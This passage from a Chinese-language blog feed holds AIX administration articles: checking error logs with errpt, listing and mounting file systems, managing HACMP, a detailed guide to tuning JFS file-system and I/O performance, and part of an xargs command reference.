1.2.1.3 COMMITTED NetQuestion SBCS Buildtime Modules <BR>IMNSearch.rte.DBCS 1.2.0.4 COMMITTED NetQuestion DBCS Search <BR>Engine <BR>IMNSearch.rte.SBCS 1.2.1.3 COMMITTED NetQuestion SBCS Search <BR>Engine <BR>IMNSearch.rte.httpdlite 1.1.1.1 COMMITTED NetQuestion Local HTTP <BR>Daemon <BR>Java.adt.docs 1.1.6.0 COMMITTED Java Documentation Java.adt.includes 1.1.6.4 COMMITTED Java Application Development Toolkit Includes <BR><BR><BR><BR>2、查看所有出错信息 <BR><BR>在系统运行时，一些系统错误记录会记录在 errlog 中，其中有些错误还会在终端上 显示出来，检查错误日志可用以下命令： <BR><BR># errpt | more查看系统所有的记录 <BR><BR>IDENTIFIER TIMESTAMP T C RESOURCE_NAME DESCRIPTION <BR>E85C5C4C 0426104399 P S CFGLFT SOFTWARE PROGRAM ERROR <BR>2BFA76F6 0426104099 T S SYSPROC SYSTEM SHUTDOWN BY USER <BR>9DBCFDEE 0426104399 T O errdemon ERROR LOGGING TURNED ON <BR>192AC071 0426103999 T O errdemon ERROR LOGGING TURNED OFF <BR>AA8AB241 0423132999 T O clstrmgr OPERATOR NOTIFICATION <BR><BR>其中 <BR><BR>IDENTIFIER 为错误编号，当需要检查详细信息时常会用到。 <BR><BR>TIME STAMP 为时间标签，它记录的是出错时间， <BR>其格式：月月日日时时分分年年 <BR><BR>T 为Type ，它记录的是错误类型 <BR>P ：为永久错误，需引起注意 <BR>T ：为临时错误。 <BR><BR>C为Class，它记录的是错误类型 <BR>H ： Hardware <BR>S ： Software <BR>O ： Errloger command messages <BR>U ： undetermined <BR><BR>RESOURCE_NAME 为错误来源 <BR><BR>DESCRIPTION为错误描述 <BR><BR><BR>查看系统详细记录内容 <BR><BR># errpt -aj &lt;IDENTIFIER&gt;|pg <BR><BR>其中IDENTIFIER为错误编号，如 # errpt -aj 0426104399 | pg <BR><BR>查看系统所有的硬件出错记录 <BR><BR># errpt -dH <BR><BR><BR>3、文件系统的操作 <BR><BR>(1) 、列出所有的文件系统 <BR><BR># lsfs <BR><BR>它的作用是列出所有的文件系统，其输出如下： <BR><BR>Name Nodename Mount Pt VFS Size Options Auto <BR>Accounting <BR>/dev/hd4 -- / jfs 163840 -- yes <BR>no <BR>/dev/hd1 -- /home jfs 16384 -- yes <BR>no <BR>/dev/hd2 -- /usr jfs 2818048 -- yes <BR>no <BR>/dev/hd9var -- /var jfs 16384 -- yes <BR>no <BR>/dev/hd3 -- /tmp jfs 32768 -- yes <BR>no <BR>/dev/lv00 -- /ibmcxx jfs 835584 rw no <BR><BR>(2)、 列出所有 mount 了的文件系统 <BR><BR># mount <BR><BR>其输出如下： <BR><BR>node mounted mounted over vfs date options <BR>-------- --------------- --------------- ------ ------------ --------------- <BR>/dev/hd4 / jfs Nov 16 12:47 rw,log=/dev/hd8 <BR>/dev/hd2 /usr jfs Nov 16 12:47 rw,log=/dev/hd8 <BR>/dev/hd9var /var jfs Nov 16 12:47 rw,log=/dev/hd8 <BR>/dev/hd3 /tmp jfs Nov 16 12:47 rw,log=/dev/hd8 <BR><BR>/dev/hd1 /home jfs Nov 16 12:49 rw,log=/dev/hd8 <BR><BR>(3)、 查看各文件系统的使用情况 <BR><BR># df -k <BR><BR>其输出如下： <BR><BR>Filesystem 1024-blocks Free %Used Iused %Iused Mounted on <BR>/dev/hd4 81920 68568 17% 1724 5% / <BR>/dev/hd2 1409024 430896 70% 28467 9% /usr <BR>/dev/hd9var 8192 6540 21% 293 15% /var <BR>/dev/hd3 16384 15352 7% 51 2% /tmp <BR>/dev/hd1 8192 3820 54% 54 3% /home <BR><BR>(4) 、启动、停止和检测 HACMP <BR><BR>a用(#smit clstart)启动 HACMP <BR>b用(#tail -f /tmp/hacmp.out)跟踪输出 <BR>c用(#netstat -in)查看 en0、en1的状态,看是否已从 boot 地址切换成service地址 <BR>d用(#lsvg -o) 查看是否 datavg 已经激活 <BR>e正常启动后，用(#smit clstop)通过 takeover 方式 down掉一个 <BR>node，查看是否 IP 被另一个node接管 <BR>f停止HACMP，用(#smit clstop)通过graceful方式或force方式停用HACMP <BR>-graceful方式是node停用HACMP并释放资源 <BR>-force方式是node停用HACMP但不释放资源 <BR>-take over方式是node停用HACMP,并让另一个node接管资源 <BR><BR></TD></TR></TBODY></TABLE></TD></TR>
<TR>
<TD vAlign=top align=middle>
<P class=p2><BR>【<A href="http://www.meetchinese.com/earticles/article.cgi?act=review;classid=81;id=2179" target=_blank><FONT color=#000000>发表评论</FONT></A>】 【<A onclick=javascript:window.external.AddFavorite(location.href,document.title) href="http://www.meetchinese.com/earticles/xr_html/articles/81/2179.html#"><FONT color=#000000>收藏本文</FONT></A>】 【<A href="javascript:sendmail(2179)"><FONT color=#000000>推荐给朋友</FONT></A>】 【<A href="javascript:window.close()"><FONT color=#000000>关闭窗口</FONT></A>】</P>
<P class=p2><FONT color=#000080>相关论坛</FONT>: <A href="http://go.meetchinese.com/forum/ultimatebb.cgi?ubb=forum;f=14"><FONT color=#000080>Unix论坛</FONT><FONT color=#000080> &nbsp; </FONT></A></P>
<TABLE cellSpacing=0 cellPadding=0 width="92%" border=0>
<TBODY>
<TR>
<TD bgColor=#336699>
<TABLE cellSpacing=1 cellPadding=3 width="100%" border=0>
<TBODY>
<TR bgColor=#bcd2e9>
<TD class=p4>　相关文章</TD></TR>
<TR bgColor=#ffffff>
<TD class=p2 width="62%">
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2239.html" target=_blank><FONT color=#000000>在AIX中设置中文环境</FONT></A> <FONT size=1>(02/26/2003 21:34)</FONT> 
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2180.html" target=_blank><FONT color=#000000>AIX数据库启动和停止脚本</FONT></A> <FONT size=1>(01/29/2003 06:34)</FONT> 
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2178.html" target=_blank><FONT color=#000000>AIX系统日常管理</FONT></A> <FONT size=1>(01/29/2003 06:25)</FONT> 
<LI><A href="http://www.meetchinese.com/earticles/xr_html/articles/81/2177.html" target=_blank><FONT color=#000000>IBM专业认证经验总结</FONT></A> <FONT size=1>(01/29/2003 06:22)</FONT></LI></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[AIX文件系统性能调优]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=10796</link>
<author>xueflhg</author>
<pubDate>2005/12/26 12:52:49</pubDate>
<description><![CDATA[
<TABLE cellSpacing=0 cellPadding=0 width="95%" border=0>
<TBODY>
<TR>
<TD align=middle width="100%">
<H2><B>文件系统性能调优</B></H2></TD></TR>
<TR>
<TD width="100%">
<P>看的越多，越解惑</P>
<P>
<P><STRONG>1、顺序读性能调优</STRONG></P>
<P><BR>VMM 的顺序预读功能能够改进需要顺序访问大文件的程序的性能。<BR>下面的插图展示了典型的预读的情况。<BR>顺序预读的例子. 插图显示了用一行块模拟一分段磁道的文件页号。这些块段按 0，1 到 3，4 到 7，8 到 15 以及 16 到 23 编号。顺序预读的步骤可以在紧接着插图后的文本中找到。</P>
<P><IMG height=53 alt="" src="http://www-900.ibm.com/cn/support/faqhtmlfaq/images/2811085F29000.jpg" width=450></P>
<P>在这个例子中，minpgahead 的值为 2，maxpgahead 的值为 8 （缺省值）。程序顺序处理文件。图中只显示了对预读机制有重要作用的数据引用（按从 A 到 F 的顺序标出）。这些步骤是：<BR>A <BR>第一次文件访问读取文件的第一页（第 0 页）。在这个时候，VMM 并不知道这次访问是随机还是顺序访问。 <BR>B <BR>当程序访问下一页（第 1 页）的首字节而不存在对文件其它页的插入访问时，VMM 推断出该程序正在进行顺序访问。于是将页提前量设为 minpgahead (2) 并且调度读取额外的页（第二、三页）。这样步骤 B 总共读取了 3 页。 <BR>C <BR>当程序访问预读的第一页（第 2 页）的首字节时，VMM 将页提前量加倍到 4 并且调度读取第 4 到 7 页。 <BR>D <BR>当程序访问前次预读的第一页（第 4 页）的首字节时，VMM 将页提前量加倍到 8 并且调度读取第 8 到 15 页。 <BR>E <BR>当程序访问前次预读的第一页（第 8 页）的首字节时，VMM 决定将页提前量设为 maxpgahead 并且调度读取第 16 到 23 页。 <BR>F <BR>VMM 在程序访问前一组预读页的首字节的情况下继续预读 maxpgahead 页直到文件结尾。 <BR>一旦程序偏离了顺序访问模式并且不按次序访问了文件中的一页，顺序预读就会终止。当 VMM 检测到程序恢复顺序访问后，页提前量便会恢复到 minpgahead 页。<BR>可在 ioo 命令中使用 -r 和 -R 选项来更改 minpgahead 和 maxpgahead 的值。如果您打算改变这些值，请记住：<BR>该值必须是集合：0、1、2、4、8、16 等中的一个。使用其它值可能会对性能或功能造成不利影响。 <BR>o 由于 VMM 的加倍算法，该值应该是 2 的幂。 <BR>o 大于 16 的 maxpgahead 值（预读量大于 64 KB）会超出某些磁盘设备驱动程序的能力。在这种情况下，预读的大小会保持在 64 KB。 <BR>o 更大的 maxpgahead 值可用于条带状逻辑卷的顺序性能显得至关重要的系统中。<BR>minpgahead 和 maxpgahead 的值都为 0 能有效消除此机制。这会给性能带来负面影响。但是，在 I/O 随机的一些情况下，这可能也有用处，这时 I/O 的大小会使预读算法生效。 <BR>对于非条带状文件系统，当 maxpgahead 值为 8 或 16 时，其顺序 I/O 性能会达到可能的最大值。 <BR>预读值从 minpgahead 增加到 maxpgahead 的过程很快，对于大多数文件大小来说增大 minpgahead 值都不会带来任何性能的提高。 <BR>可以针对 JFS 和增强型 JFS 分别调优顺序预读功能。JFS 的预读页可以通过改变 minpgahead 和 maxpgahead 的值调优，而增强型 JFS 使用 j2_minPageReadAhead 和 j2_maxPageReadAhead。</P>
<P><BR><STRONG>2、顺序和随机后写性能调优</STRONG><BR>后写涉及在达到某个阈值后将内存中修改过的页面异步写到磁盘上，而不是等待 syncd 守护程序将页面清空到磁盘上。这被用于限制内存中的脏页数，减少系统开销和最小化磁盘碎片。后写有两种类型：顺序后写和随机后写。<BR></P>
<P>顺序后写<BR>缺省情况下，一个 JFS 文件划分成 16 KB 大小的分区或 4 页。每一个这样的分区被称为一簇。如果该簇中的 4 页都是脏页，那么一旦修改完下一个分区，系统就会调度该簇中的 4 页并将其写入磁盘。如果不具备这一功能，则直到 syncd 守护程序运行前，该页都会留存于内存，导致可能的 I/O 瓶颈和文件碎片。<BR>VMM 用于充当阈值的簇数是可调优的。缺省值是一簇。使用 ioo -o numclust 命令来增加 numclust 参数可以延迟后写。<BR>对于增强型 JFS，ioo -o j2_nPagesPerWriteBehindCluster 命令用来指定每次调度的页数，而不是簇数。增强型 JFS 簇的缺省页数为 32，意味着增强型 JFS 的缺省大小为 128 KB。<BR></P>
<P>随机后写<BR>可能存在一些应用程序执行大量的随机 I/O，即 I/O 模式不满足后写算法的要求，因而导致所有页面驻留在内存中，直到 syncd 守护程序运行为止。如果应用程序在内存中修改了许多页，就有可能在 syncd 守护程序调用 sync() 时向磁盘写入大量页。<BR>后写功能提供了这样一种机制，即当给定文件在内存中的脏页数超过规定阈值后，则会调度所写的后续页面以写到磁盘上。<BR>通过使用 ioo 命令并带有 JFS maxrandwrt 参数可调整此阈值。缺省值为 0，表示随机后写是禁用的。将该值增加到 128 表示一旦文件驻留于内存的页达到 128 页，随后的任何脏页都将被调度写入磁盘。而这些页将在调用 sync() 后刷新。<BR>对于增强型 JFS，ioo 命令选项 j2_nRandomCluster（-z 标志）和 j2_maxRandomWrite（-J 标志）用来调优随机后写。增强型 JFS 的 j2_maxRandomWrite 选项和 JFS 的 maxrandwrt 选项功能相同。即它限定了每个文件可以留在内存中的脏页数。j2_nRandomCluster 选项指定了可以被视为随机的两次连续写入之间的簇数。</P>
<P><STRONG>3、异步磁盘 I/O 性能调优<BR></STRONG>如果应用程序进行同步 I/O 操作，它必须等待 I/O 完成后才能继续执行。相反，异步 I/O 操作在后台运行，不会阻塞用户应用程序。这就改进了性能，因为 I/O 操作和处理中的应用程序可以同时运行。许多应用程序，诸如数据库和文件服务器，利用了重叠处理和重叠 I/O 的能力。<BR>应用程序可以使用 aio_read() 命令、aio_write() 或 lio_listio() 子例程（或它们的副本）来执行异步磁盘 I/O。一旦请求被排队，控制权就从子例程返回应用程序。当磁盘操作被执行时，应用程序可以继续处理。<BR>为了管理异步 I/O，每一个异步 I/O 请求在应用程序地址空间有一个相应的控制块。该控制块包含了请求的控制和状态信息。在 I/O 操作完成后可以被再次使用。<BR>在发出了一个异步 I/O 请求，用户应用程序可以决定何时并以何种方式结束 I/O 操作。这些信息在以下三种方式的任何一种中提供：<BR></P>
<P>应用程序可以轮询 I/O 操作的状态。 <BR>当 I/O 操作完成后系统可以异步通知应用程序。 <BR>应用程序可以阻塞，直到 I/O 操作完成。</P>
<P><BR>每个 I/O 是由单个 kproc 处理，并且一般来说 kproc 不能处理任何更多的队列中的请求，直到 I/O 已经完成。当异步 I/O 启用时，缺省的配置好的服务器最小数目为 1。这是 minservers 属性。还存在一个可以创建的最大异步 I/O 服务器数，它由 maxservers 属性控制，缺省值为 10（每个 CPU）。服务器的数量限制了可以在系统中同时处理的异步磁盘 I/O 操作的数目。服务器数可用 SMIT 命令（smitty -&gt; 设备 -&gt; 异步 I/O -&gt; 更改／显示异步 I/O 的特征 -&gt; {MINIMUM | MAXIMUM} 服务器数目或 smitty aio）或者使用 chdev 命令来设置。<BR>很少运行应用程序的系统可以使用异步 I/O，缺省值通常可以勉强够用。<BR>如果异步 I/O 请求数目是高的，那么推荐您增加 maxservers 大约至同时 I/O 可能的数目。在大多数情况下，您最好保留 minservers 参数为缺省值，因为如果需要的话，AIO 内核扩展将生成附加的服务器数。<BR>注:<BR>执行在裸逻辑卷上的 AIO 操作并不使用 kproc 服务器进程。有关 maxservers 和 minservers 的设置在这种情况下没有效果。<BR>通过查看 AIO 服务器的 CPU 利用率，如果利用率在它们中间均匀的分配，那就意味着它们都在使用中；在这种情况下，您可能要增加它们的数量。以名称查看 AIO 服务器，运行 pstat -a 命令。运行 ps -k 命令来查看名称为 kproc 的 AIO 服务器。<BR>在异步磁盘 I/O 的性能很重要并且卷请求很高，而你又没有一个适当的同步 I/O 数量的环境下，建议把 maxservers 至少设置为 10（异步存储磁盘的数）。<BR>对系统来说可以通过三个异步存取磁盘获得，如下所示：<BR># chdev -l aio0 -a maxservers='30'<BR>此外，您可以设置未完成异步 I/O 请求的最大值以及服务器的优先级。如果您的系统拥有大量的异步 I/O 应用程序，那就可以适当地增加请求数以及降低优先级数目。</P>
<P><BR><STRONG>4、文件同步性能调优</STRONG><BR>JFS 的非顺序文件 I/O 会一直存储在内存中直到满足一定条件：<BR>空闲列表缩小到 minfree，以致需要进行页替换。 <BR>syncd 守护程序按固定调度间隔刷新页。 <BR>执行了 sync 命令。 <BR>随机后写在达到随机后写阈值后清空脏页面。<BR>如果在以上的任一条件满足前已存储了过多页，则在 syncd 守护程序进行刷新时，会获得一个 i-node 锁并保持到所有的脏页都被写入磁盘。在这段时间里，任何试图访问此文件的线程会由于无法获得 i-node 锁而被阻塞。请记住：syncd 守护程序会顺利的刷新一个文件中的所有脏页，但限于一次一个文件。在一个拥有大量内存并同时有大量页需要修改的系统中，syncd 守护程序刷新页时 I/O 可能达到高峰值。<BR>AIX 有一个称为 sync_release_ilock 的可调选项。ioo 命令加上 -o sync_release_ilock=1 选项允许在清空该文件的脏页面后释放 i-node 锁。这一选项使得在调用 sync() 的过程中访问该文件有更好的响应。<BR>阻塞效果也可通过在 syncd 守护程序中提高同步频率使之最小化。更换用于启用 syncd 守护程序的 /sbin/rc.boot。然后重新引导系统使之生效。对现行系统，杀死 syncd 守护程序进程并按新的值重新启动守护程序。<BR>第三种调优这种行为的方法是使用 ioo 命令开启随机后写功能</P>
<P>文件系统缓冲区调优<BR>以下 ioo 参数可用于调优磁盘 I/O：<BR>numfsbufs 参数<BR>当有大量针对文件系统的同步或大型 I/O 或是存在针对文件系统的大型顺序 I/O 时，这些 I/O 可能会在等待 bufstruct 时成为文件系统级的瓶颈。每个文件系统的 bufstructs 数目（称为 numfsbufs）可使用 ioo 命令增加。该值仅在文件系统加载后才会生效；因此如果更改了这个值，则必须卸载然后再次加载文件系统。numfsbufs 的缺省值目前为每个文件系统 93 个 bufstruct。<BR>j2_nBufferPerPagerDevice 参数<BR>在增强型 JFS 中，bufstruct 数量由参数 j2_nBufferPerPagerDevice 指定。当前增强型 JFS 文件系统的缺省 bufstruct 数是 512。每个增强型 JFS 文件系统的 bufstructs 数（j2_nBufferPerPagerDevice）可以使用 ioo 命令来增加。该值在文件系统被加载后才起作用。<BR>lvm_bufcnt 参数<BR>如果应用程序正在处理很大量的裸 I/O 而不通过文件系统，同文件系统相同类型的瓶颈也可能出现在 LVM 层上。极大量的 I/O 加上极快的 I/O 设备可能会导致 LVM 层上的瓶颈。但是如果真的出现瓶颈，则可以通过 ioo 命令增加 lvm_bufcnt 参数，以提供大量的“uphysio”缓冲区。该值会立刻生效。当前的缺省值是 9 个 “uphysio” 缓冲区。由于当前 LVM 将 I/O 分为每个 128 K，而 lvm_bufcnt 的缺省值为 9，故一次可写入 9*128 K。如果正在进行的 I/O 大于 9*128 K，增加 lvm_bufcnt 的值才会有利。<BR>hd_pbuf_cnt 参数<BR>hd_pbuf_cnt 参数控制可用于 LVM 设备驱动程序的 pbufs 数。pbuf 是用于存放暂挂于 LVM 层的 I/O 请求的固定内存缓冲区。<BR>在 AIX 中，顺序 I/O 的结合使得无论 I/O 包括多少页，每个顺序 I/O 请求只使用单个 pbuf。这种类型的瓶颈一般很难遇到。而对于随机 I/O，除非运行 syncd 守护程序，I/O 一般会被零星地刷新。<BR>确定是否发生 pbuf 瓶颈的最好方法是检查称为 hd_pendqblked 的 LVM 变量。以下的脚本会给出该变量的值：<BR>#!/bin/ksh<BR># requires root authority to run<BR># determines number of times LVM had to wait on pbufs since system boot<BR>addr=`echo "knlist hd_pendqblked" | /usr/sbin/crash 2&gt;/dev/null |tail -1| cut -f2 -d:`<BR>value=`echo "od $addr 1 D" | /usr/sbin/crash 2&gt;/dev/null | tail -1| cut -f2 -d:`<BR>echo "Number of waits on LVM pbufs are: $value"<BR>exit 0<BR>ioo -a 命令也会显示 hd_pendqblked 值。<BR>注:<BR>请不要把 hd_pbuf_cnt 值设得太大，因为除了重新引导系统无法减小该值。<BR>pd_npages 参数<BR>pd_npages 参数指定当删除文件时 RAM 的某一块中应该删除的页数。改变此值只对那些需要删除文件的实时应用程序才有用。由于在分派某个进程／线程之前将删除少量的页面，因此通过减小 pd_npages 参数的值，实时应用程序可获得更快的响应时间。缺省值是最大可能文件大小除以页面大小（目前为 4096）；如果最大可能文件大小为 2 GB，则 pd_npages 参数的值缺省为 524288。<BR>v_pinshm 参数<BR>当 v_pinshm 参数设置为 1 时，如果执行 shmget() 的应用程序指定 SHM_PIN 作为标志的一部分，就会使共享内存段中的页面由 VMM 固定。缺省值为 0。<BR>应用程序可以选择提供某种可调优性：指定应用程序是否应该使用 SHM_PIN 标志（例如： Oracle 8.1.5 及以上版本中提供的 lock_sga 参数）。请避免固定过多的内存，因为在这种情况下无法进行页替换。由于节约了这些共享内存段的异步 I/O 开销（不需要异步 I/O 内核扩展来固定缓冲区），因此这种固定是很有用的。<BR>fsbufwaitcnt 和 psbufwaitcnt 计数器<BR>只要 bufstruct 变得不可用以及 VMM 将一个线程放入 VMM 等待列表中，fsbufwaitcnt 和 psbufwaitcnt 计数器就会递增。使用 crash 命令或 ioo -a 命令的 fsbufwaitcnt 和 psbufwaitcnt 选项来检查这些计数器的值。下面是输出的示例：<BR># ioo -a<BR>hd_pendqblked = 305<BR>psbufwaitcnt = 0<BR>fsbufwaitcnt = 337<BR>xpagerbufwaitcnt 计数器<BR>只要增强型 JFS 文件系统上的 bufstruct 不可用，xpagerbufwaitcnt 就会递增。可使用 ioo -a 命令检查 xpagerbufwaitcnt 计数器的值。下面是输出的示例：<BR># ioo -a<BR>xpagerbufwaitcnt = 815</P>
<P><BR><STRONG>5、直接 I/O 调优<BR></STRONG>当您在对文件进行正常的 I/O 处理时，I/O 在应用程序缓冲区和 VMM 之间来回进行。在缓冲区中的内容通过 VMM 把实存作为文件缓冲区的高速缓存的使用而高速缓存于 RAM 中。如果文件高速缓存命中率很高，那么这个高速缓存的类型在提高 I/O 的总体性能上将十分有效。但是高速缓存命中率很低的应用程序或者执行大量 I/O 的应用程序也许不会从正常的高速缓存 I/O 使用中得到很多好处。<BR>直接 I/O 的主要益处在于通过消除从 VMM 文件高速缓存到用户缓存的副本来减少 CPU 对文件读操作和写操作的使用率。如果高速缓存命中率低，那么大多数读取请求不得不转向磁盘。写操作在大多数情况下使用正常高速缓存 I/O 要更快。但是如果文件是以 O_SYNC 或 O_DSYNC打开的，那么写操作将不得不转向磁盘。在这种情况下，直接 I/O 可能使应用程序获益，因为数据的副本被消除了。<BR>另一个益处是直接 I/O 可以允许应用程序避免稀释高速缓存对其他文件的效能。当一个文件被读取或写入时，该文件竞争内存空间，有可能引起其他文件数据被推出内存。如果一个应用程序开发者知道某些文件有较低的高速缓存利用率特征，那么只有那些文件可以用 O_DIRECT 打开。<BR>为了让直接 I/O 有效地工作，I/O 请求适用于正被使用的文件系统的类型。finfo() 和 ffinfo() 子例程可以用来查询偏移量、长度以及固定块大小文件系统、碎片文件系统和大文件文件系统有关对地址校正的需求（直接 I/O 没有支持压缩文件系统）。查询到的信息包含于 diocapbuf 结构中，该结构在 /usr/include/sys/finfo.h 文件中描述。<BR>为了避免一致问题，如果有多个调用用来打开文件并且一个或多个调用没有制定 O_DIRECT 而另一个打开操作指定了 O_DIRECT，那么文件将保留于正常高速缓存 I/O 模式。同样的，如果文件是通过 shmat() 或 mmap() 系统调用来映射到内存中，它们保留在正常高速缓存模式。如果最后一个冲突，非直接存取被消除，那么文件系统将把文件移入直接 I/O 模式（或者使用 close()、munmap() 或者使用 shmdt() 子例程）。从正常模式到直接 I/O 模式可能代价不小，因为所有在内存中修改过的页面将不得不在那点上刷新磁盘。</P>
<P><BR>直接 I/O 读操作的性能<BR>即使使用直接 I/O 可能减少 CPU 的使用，但很有可能产生更长的消逝时间，特别对小型 I/O 请求而言，因为请求不会在内存中高速缓存。<BR>直接 I/O 读取操作会从磁盘引起同步读操作，然而通过正常的高速缓存策略，读取操作可能会从高速缓存那里得到满意的结果。如果数据在内存中遵循正常高速缓存策略，那么这样可能导致性能低下。直接 I/O 也忽略 VMM 预读算法，因为 I/O 并不通过 VMM。预读算法对顺序存取文件非常有用，因为 VMM 可以启动磁盘请求并且能在应用程序请求页面之前使页面早就驻留在内存中。应用程序可以通过一下方法中的一种补偿预读的损失：<BR>执行读取请求（最小 128 K） <BR>使用多个线程执行异步直接 I/O 预读取。 <BR>使用异步 I/O 设施诸如 aio_read() 或者 lio_listio()</P>
<P><BR>直接 I/O 写操作的性能<BR>直接 I/O 写操作绕过 VMM 直接写入磁盘，以致于可能产生严重的性能损失；在正常高速缓存的 I/O 中，写操作可以写入内存，稍后通过 sync 或 write behind 操作清空到磁盘上。由于直接 I/O 写操作并不复制到内存，当一个 sync 操作执行后，它不会必须刷新这些页面，这样一来就减少了 syncd 守护程序必须执行的工作量。</P>
<P><BR>直接 I/O 调优摘要<BR>直接 I/O 本质上比常规 I/O 需要更少的 CPU 周期。 I/O 增强性应用程序不会在常规 I/O 所提供的高速缓存中得到益处，但是可以使用直接 I/O 来增强性能。<BR>作为直接 I/O 的适当候选者的程序通常受 CPU 限制并且执行大量的磁盘 I/O。拥有大量顺序 I/O 的技术应用程序是适当的候选者。执行许多小型 I/O 的应用程序一般来说受到较少的性能益处，因为直接 I/O 不能预读或后写。受益于条带区的应用程序同样是不错的候选者。</P></TD></TR></TBODY></TABLE>]]></description>
</item><item>
<title><![CDATA[[命令] xargs命令]]></title>
<link>http://blogger.org.cn/blog/more.asp?name=xueflhg&amp;id=10795</link>
<author>xueflhg</author>
<pubDate>2005/12/26 11:17:11</pubDate>
<description><![CDATA[<A>　
<TABLE cellSpacing=0 cellPadding=0 width="95%" border=0><!-- BEGIN alcyc -->
<TBODY>
<TR>
<TD align=middle width="100%">
<H2><B>[命令] xargs命令</B></H2></TD></TR>
<TR>
<TD width="100%">xargs 命令 <BR>用途 <BR>构造参数列表并运行命令。 <BR>语法 <BR>xargs [&nbsp; -p ] [&nbsp; -t ] [&nbsp; -e [ EOFString ] ] [&nbsp; -E EOFString ] [&nbsp; -i [ <BR>ReplaceString ] ] [&nbsp; -I ReplaceString ] [&nbsp; -l [ Number ] ] [&nbsp; -L Number ] [&nbsp; -n <BR>Number&nbsp; [&nbsp; -x ] ] [&nbsp; -s Size ] [ Command [ Argument ... ] ] <BR>&nbsp; 注： 不要在小写的标志和参数之间放置空格。 <BR>描述 <BR>生成的命令行长度是 Command 和每个作为字符串对待的 Argument，包括用于每个字符串的空字节结束符号，大小（以字节计算）的总和。xargs <BR>命令限制命令行的长度。当构造的命令行运行时，组合的 Argument 和环境列表不能超过 ARG_MAX 字节。在这一约束里，如果不指定 -n 或 -s <BR>标志，缺省命令行长度至少是 LINE_MAX 指定的值。 
<P>xargs 命令 <BR>用途 <BR>构造参数列表并运行命令。 <BR>语法 <BR>xargs [&nbsp; -p ] [&nbsp; -t ] [&nbsp; -e [ EOFString ] ] [&nbsp; -E EOFString ] [&nbsp; -i [ <BR>ReplaceString ] ] [&nbsp; -I ReplaceString ] [&nbsp; -l [ Number ] ] [&nbsp; -L Number ] [&nbsp; -n <BR>Number&nbsp; [&nbsp; -x ] ] [&nbsp; -s Size ] [ Command [ Argument ... ] ] <BR>&nbsp; 注： 不要在小写的标志和参数之间放置空格。 <BR>描述 <BR>生成的命令行长度是 Command 和每个作为字符串对待的 Argument，包括用于每个字符串的空字节结束符号，大小（以字节计算）的总和。xargs <BR>命令限制命令行的长度。当构造的命令行运行时，组合的 Argument 和环境列表不能超过 ARG_MAX 字节。在这一约束里，如果不指定 -n 或 -s <BR>标志，缺省命令行长度至少是 LINE_MAX 指定的值。 <BR>标志 <BR>&nbsp; &nbsp; &nbsp; -e[EOFString]废弃的标志。请使用 -E 标志。 <BR>&nbsp; &nbsp; &nbsp; 将 EOFString 参数用作逻辑 EOF 字符串。如果不指定 -e 或 -E 标志，则采用下划线（_）为逻辑 EOF 字符串。如果不指定 <BR>&nbsp; &nbsp; &nbsp; EOFString 参数，逻辑 EOF 字符串能力被禁用且下划线被照字面含义使用。xargs 命令读取标准输入直到达到 EOF 或指定的字符串。 <BR>&nbsp; &nbsp; &nbsp; -E EOFString指定逻辑 EOF 字符串以替换缺省的下划线（_）。 xargs 命令读取标准输入直到达到 EOF 或指定的字符串。 <BR>&nbsp; &nbsp; &nbsp; -i[ReplaceString]废弃的标志。请使用 -I（大写 i）标志。 <BR>&nbsp; &nbsp; &nbsp; 如果没有指定 ReplaceString 参数，使用字符串 "{}"。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; 注：-I（大写 i）和 -i 标志是互相排斥的；最后指定的标志生效。 <BR>&nbsp; &nbsp; &nbsp; -I ReplaceString（大写 i）。插入标准输入的每一行用 Command 参数的自变量，把它插入出现的每个 ReplaceString <BR>&nbsp; &nbsp; &nbsp; 的 Argument 中。ReplaceStrings 不能在超过 5 个自变量中使用。在每个标准输入行开始的空字符被忽略。每个 Argument <BR>&nbsp; &nbsp; &nbsp; 能包含一个或多个 ReplaceStrings，但不能大于 255 字节。-I 标志同样打开 -x 标志。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; 注：-I（大写 i）和 -i 标志是互相排斥的；最后指定的标志生效。 <BR>&nbsp; &nbsp; &nbsp; -l[Number]（小写的 L）。废弃的标志。请使用 -L 标志。 <BR>&nbsp; &nbsp; &nbsp; 如果没有指定 Number 参数，使用缺省值 1。-l 标志同样打开 -x 标志。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; 注： -L、-I（小写的 L）和 -n 标志是互相排斥的；最后指定的标志生效。 <BR>&nbsp; &nbsp; &nbsp; -L Number用从标准输入读取的非空参数行的指定的数量运行 Command 命令。如果保留少于指定的 Number，Command <BR>&nbsp; &nbsp; &nbsp; 参数的最后调用可以有少数几个参数行。一行以第一个换行字符结束，除非行的最后一个字符是一个空格或制表符。后续的空格表示延续至下一个非空行。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; 注： -L、-I（小写的 L）和 -n 标志是互相排斥的；最后指定的标志生效。 <BR>&nbsp; &nbsp; &nbsp; -n Number运行 Command 参数，且使用尽可能多的标准输入自变量，直到 Number 参数指定的最大值。xargs <BR>&nbsp; &nbsp; &nbsp; 命令使用很少的自变量，如果： <BR>&nbsp; &nbsp; &nbsp; &nbsp; 如果被积累的命令行长度超过了由 -s Size 标志指定的字节。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; 最后的迭代有少于 Number（但是非零）的自变量保留。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 注： -L、-I（小写的 L）和 -n 标志是互相排斥的；最后指定的标志生效。 <BR>&nbsp; &nbsp; &nbsp; -p询问是否运行 Command 参数。它显示构造的命令行，后跟一个 ?...（问号和省略号）提示。输入肯定的、特定于语言环境的响应以运行 <BR>&nbsp; &nbsp; &nbsp; Command 参数。任何其它响应都会引起 xargs 命令跳过那个特定的参数调用。每个调用都将询问您。 -p 标志同样打开 -t 标志。 <BR>&nbsp; &nbsp; &nbsp; -s Size设置构造的 Command 行的最大总大小。Size 参数必须是正整数。如果满足以下条件，则使用很少的自变量： <BR>&nbsp; &nbsp; &nbsp; &nbsp; 自变量的总数超出 -n 标志指定的自变量数。 <BR>&nbsp; &nbsp; &nbsp; &nbsp; 总行数超出 -L 或 -I（小写 L）标志指定的行数。 